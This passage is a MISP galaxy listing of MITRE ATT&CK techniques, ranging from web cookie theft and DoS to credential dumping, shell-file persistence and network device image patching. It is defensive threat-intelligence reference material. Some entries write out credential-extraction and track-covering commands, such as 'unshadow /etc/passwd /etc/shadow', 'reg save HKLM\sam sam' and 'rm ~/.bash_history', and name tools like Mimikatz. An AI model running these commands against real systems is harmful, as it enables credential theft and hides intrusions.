After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](<https://attack.mitre.org/techniques/T1506>) technique to login to the corresponding web application.

The tag is: *misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539"*

## Masquerade as Legitimate Application - T1444

An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application.

Embedding the malware in a legitimate application is done by downloading the application, disassembling it, adding the malicious code, and then re-assembling it.(Citation: Zhou) The app would appear to be the original app, but would contain additional malicious functionality. The adversary could then publish the malicious application to app stores or use another delivery method.

Pretending to be a legitimate application relies heavily on lack of scrutinization by the user. Typically, a malicious app pretending to be a legitimate one will have many similar details as the legitimate one, such as name, icon, and description.(Citation: Palo Alto HenBox)

Malicious applications may also masquerade as legitimate applications when requesting access to the accessibility service in order to appear as legitimate to the user, increasing the likelihood that the access will be granted.

The tag is: *misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444"*

## Compromise Client Software Binary - T1554

Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.

Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554"*

Table 2398. Table References

Links
<a href="https://attack.mitre.org/techniques/T1554">https://attack.mitre.org/techniques/T1554</a>

## Abuse Elevation Control Mechanism - T1548

Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.

The tag is: *misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548"*

## Data Encrypted for Impact - T1486

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)

To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](<https://attack.mitre.org/techniques/T1078>), [OS Credential Dumping](<https://attack.mitre.org/techniques/T1003>), and [SMB/Windows Admin Shares](<https://attack.mitre.org/techniques/T1021/002>).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)

## Exploit via Radio Interfaces - T1477

The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces.

# Baseband Vulnerability Exploitation

A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi(Citation: ProjectZero-BroadcomWiFi) or other) to the mobile device could exploit a vulnerability in code running on the device(Citation: Register-BaseStation)(Citation: Weinmann-Baseband).

## Malicious SMS Message

An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device(Citation: Forbes-iPhoneSMS). An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser. Vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages(Citation: SRLabs-SIMCard).

## Network Denial of Service - T1498

Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)

A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection.

This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](<https://attack.mitre.org/techniques/T1499>).

## Endpoint Denial of Service - T1499

Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes (Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction (Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion. (Citation: Symantec DDoS October 2014)

An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)

In cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)

For attacks attempting to saturate the providing network, see [Network Denial of Service](<https://attack.mitre.org/techniques/T1498>).

## Credentials from Password Stores - T1555

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or

application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555"*

Table 2406. Table References

Links
<a href="https://attack.mitre.org/techniques/T1555">https://attack.mitre.org/techniques/T1555</a>

## Exfiltration Over Web Service - T1567

Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.

Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.

## Search Open Technical Databases - T1596

Before compromising a victim, adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)

Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](<https://attack.mitre.org/techniques/T1598>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Acquire Infrastructure](<https://attack.mitre.org/techniques/T1583>) or [Compromise Infrastructure](<https://attack.mitre.org/techniques/T1584>)), and/or initial access (ex: [External Remote Services](<https://attack.mitre.org/techniques/T1133>) or [Trusted Relationship](<https://attack.mitre.org/techniques/T1199>)).

The tag is: *misp-galaxy:mitre-attack-pattern="Search Open Technical Databases - T1596"*

## Modify Cloud Compute Infrastructure - T1578

An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.

Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)

## Gather Victim Identity Information - T1589

Before compromising a victim, adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](<https://attack.mitre.org/techniques/T1598>). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](<https://attack.mitre.org/techniques/T1593/001>) or [Search Victim-Owned Websites](<https://attack.mitre.org/techniques/T1594>)).(Citation: OPM Leak)(Citation: Register

Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

## SNMP (MIB Dump) - T1602.001

Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).

The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.

Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)

The tag is: *misp-galaxy:mitre-attack-pattern="SNMP (MIB Dump) - T1602.001"*

## Logon Script (Windows) - T1037.001

Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the `HKCU\Environment\UserInitMprLogonScript` Registry key.(Citation: Hexacorn Logon Scripts)

Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

The tag is: *misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001"*

## Logon Script (Mac) - T1037.002

Adversaries may use macOS logon scripts automatically executed at logon initialization to establish persistence. macOS allows logon scripts (known as login hooks) to be executed whenever a specific user logs into a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike [Startup Items](<https://attack.mitre.org/techniques/T1037/005>), a login hook executes as the elevated root user.(Citation: creating login hook)

Adversaries may use these login hooks to maintain persistence on a single system.(Citation: S1 macOS Persistence) Access to login hook scripts may allow an adversary to insert additional malicious code. There can only be one login hook at a time though and depending on the access configuration of the hooks, either local credentials or an administrator account may be necessary.

The tag is: *misp-galaxy:mitre-attack-pattern="Logon Script (Mac) - T1037.002"*

## Dynamic-link Library Injection - T1055.001

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.

DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as `VirtualAllocEx` and `WriteProcessMemory`, then invoked with `CreateRemoteThread` (which calls the `LoadLibrary` API responsible for loading the DLL). (Citation: Endgame Process Injection July 2017)

Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually performing the function of `LoadLibrary`). (Citation: Endgame HuntingNMemory June 2017) (Citation: Endgame Process Injection July 2017)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.

## Exploit Public-Facing Application - T1190

Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](<https://attack.mitre.org/techniques/T1211>).

If an application is hosted on cloud-based infrastructure, then exploiting it may lead to compromise of the underlying instance. This can allow an adversary a path to access the cloud APIs or to take advantage of weak identity and access management policies.

For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)

## Non-Application Layer Protocol - T1095

Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

## Two-Factor Authentication Interception - T1111

Adversaries may target two-factor authentication mechanisms, such as smart cards, to gain access to credentials that can be used to access systems, services, and network resources. Use of two or multi-factor authentication (2FA or MFA) is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.

If a smart card is used for two-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)

Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)

Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmmental)

## Search Victim-Owned Websites - T1594

Before compromising a victim, adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](<https://attack.mitre.org/techniques/T1589/002>)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)

Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](<https://attack.mitre.org/techniques/T1598>) or [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>)), establishing operational resources (ex: [Establish Accounts](<https://attack.mitre.org/techniques/T1585>) or [Compromise Accounts](<https://attack.mitre.org/techniques/T1586>)), and/or initial access (ex: [Trusted Relationship](<https://attack.mitre.org/techniques/T1199>) or [Phishing](<https://attack.mitre.org/techniques/T1566>)).

The tag is: *misp-galaxy:mitre-attack-pattern="Search Victim-Owned Websites - T1594"*

## **.bash\_profile and .bashrc - T1546.004**

Adversaries may establish persistence by executing malicious content triggered by a user's shell. `~/.bash_profile` and `~/.bashrc` are shell scripts that contain shell commands. These files are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly.

`~/.bash_profile` is executed for login shells and `~/.bashrc` is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), the `~/.bash_profile` script is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, the `~/.bashrc` script is executed. This allows users more fine-grained control over when they want certain commands executed. These shell scripts are meant to be written to by the local user to configure their own environment.

The macOS Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling `~/.bash_profile` each time instead of `~/.bashrc`.

Adversaries may abuse these shell scripts by inserting arbitrary shell commands that may be used to execute other binaries to gain persistence. Every time the user logs in or opens a new shell, the modified `~/.bash_profile` and/or `~/.bashrc` scripts will be executed. (Citation: amnesia malware)

## **/etc/passwd and /etc/shadow - T1003.008**

Adversaries may attempt to dump the contents of `<code>/etc/passwd</code>` and `<code>/etc/shadow</code>` to enable offline password cracking. Most modern Linux operating systems use a combination of `<code>/etc/passwd</code>` and `<code>/etc/shadow</code>` to store user account information including password hashes in `<code>/etc/shadow</code>`. By default, `<code>/etc/shadow</code>` is only readable by the root user.(Citation: Linux Password and Shadow File Formats)

The Linux utility, `unshadow`, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) `<code># /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>`

The tag is: *misp-galaxy:mitre-attack-pattern="/etc/passwd and /etc/shadow - T1003.008"*

## **SMB/Windows Admin Shares - T1021.002**

Adversaries may use [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.

SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.

Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include **C\$**, **ADMIN\$**, and **IPC\$**. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](<https://attack.mitre.org/techniques/T1053>), [Service Execution](<https://attack.mitre.org/techniques/T1569/002>), and [Windows Management Instrumentation](<https://attack.mitre.org/techniques/T1047>). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](<https://attack.mitre.org/techniques/T1550/002>) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)

The tag is: *misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002"*

## Reduce Key Space - T1600.001

Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)

Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.

Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](<https://attack.mitre.org/techniques/T1059/008>) introduced to the system through [Modify System Image](<https://attack.mitre.org/techniques/T1601>) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)

## Security Account Manager - T1003.002

Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the `net user` command. Enumerating the SAM database requires SYSTEM level access.

A number of tools can be used to retrieve the SAM file through in-memory techniques:

- `pwdumpx.exe`
- [gsecdump](<https://attack.mitre.org/software/S0008>)
- [Mimikatz](<https://attack.mitre.org/software/S0002>)
- `secretsdump.py`

Alternatively, the SAM can be extracted from the Registry with Reg:

- `reg save HKLM\sam sam`
- `reg save HKLM\system system`

Creddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)

Notes: \* RID 500 account is the local, built-in administrator. \* RID 501 is the guest account. \* User accounts start with a RID of 1,000+.

## Disable Crypto Hardware - T1600.002

Adversaries disable a network device's dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.

Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](<https://attack.mitre.org/techniques/T1601>), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](<https://attack.mitre.org/techniques/T1600/001>)). (Citation: Cisco Blog Legacy Device Attacks)

The tag is: *misp-galaxy:mitre-attack-pattern="Disable Crypto Hardware - T1600.002"*

## Cached Domain Credentials - T1003.005

Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)

On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](<https://attack.mitre.org/techniques/T1110/002>) to recover the plaintext password.(Citation: ired mscache)

With SYSTEM access, the tools/utilities such as [Mimikatz](<https://attack.mitre.org/software/S0002>), [Reg](<https://attack.mitre.org/software/S0075>), and secretsdump.py can be used to extract the cached credentials.

Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)

## Clear Command History - T1070.003

In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.

On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable `HISTFILE`. When a user logs off a system, this information is flushed to a file in the user's home directory called `~/.bash_history`. The benefit of this is that it allows users to go back to commands they've used before in different sessions.

Adversaries may delete their commands from these logs by manually clearing the history (`history -c`) or deleting the bash history file `rm ~/.bash_history`.

On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the `PSReadLine` module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.

The `PSReadLine` command history tracks the commands used in all PowerShell sessions and writes them to a file (`$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)

Adversaries may run the PowerShell command `Clear-History` to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the `ConsoleHost_history.txt` file. Adversaries may also delete the `ConsoleHost_history.txt` file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)

## Exfiltration Over Bluetooth - T1011.001

Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel.

Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

## Dead Drop Resolver - T1102.001

Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

## Remote Desktop Protocol - T1021.001

Adversaries may use [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive

session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](<https://attack.mitre.org/techniques/T1546/008>) technique for Persistence.(Citation: Alperovitch Malware)

## Patch System Image - T1601.001

Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.

To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.

To change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.

In the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](<https://attack.mitre.org/techniques/T1542/004>) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the

adversary, allowing them to patch the live operating system during runtime.

By modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](<https://attack.mitre.org/techniques/T1600>), authentication, via [Network Device Authentication](<https://attack.mitre.org/techniques/T1556/004>), and perimeter defenses, via [Network Boundary Bridging](<https://attack.mitre.org/techniques/T1599>). Adding new capabilities for the adversary's purpose include [Keylogging](<https://attack.mitre.org/techniques/T1056/001>), [Multi-hop Proxy](<https://attack.mitre.org/techniques/T1090/003>), and [Port Knocking](<https://attack.mitre.org/techniques/T1205/001>).
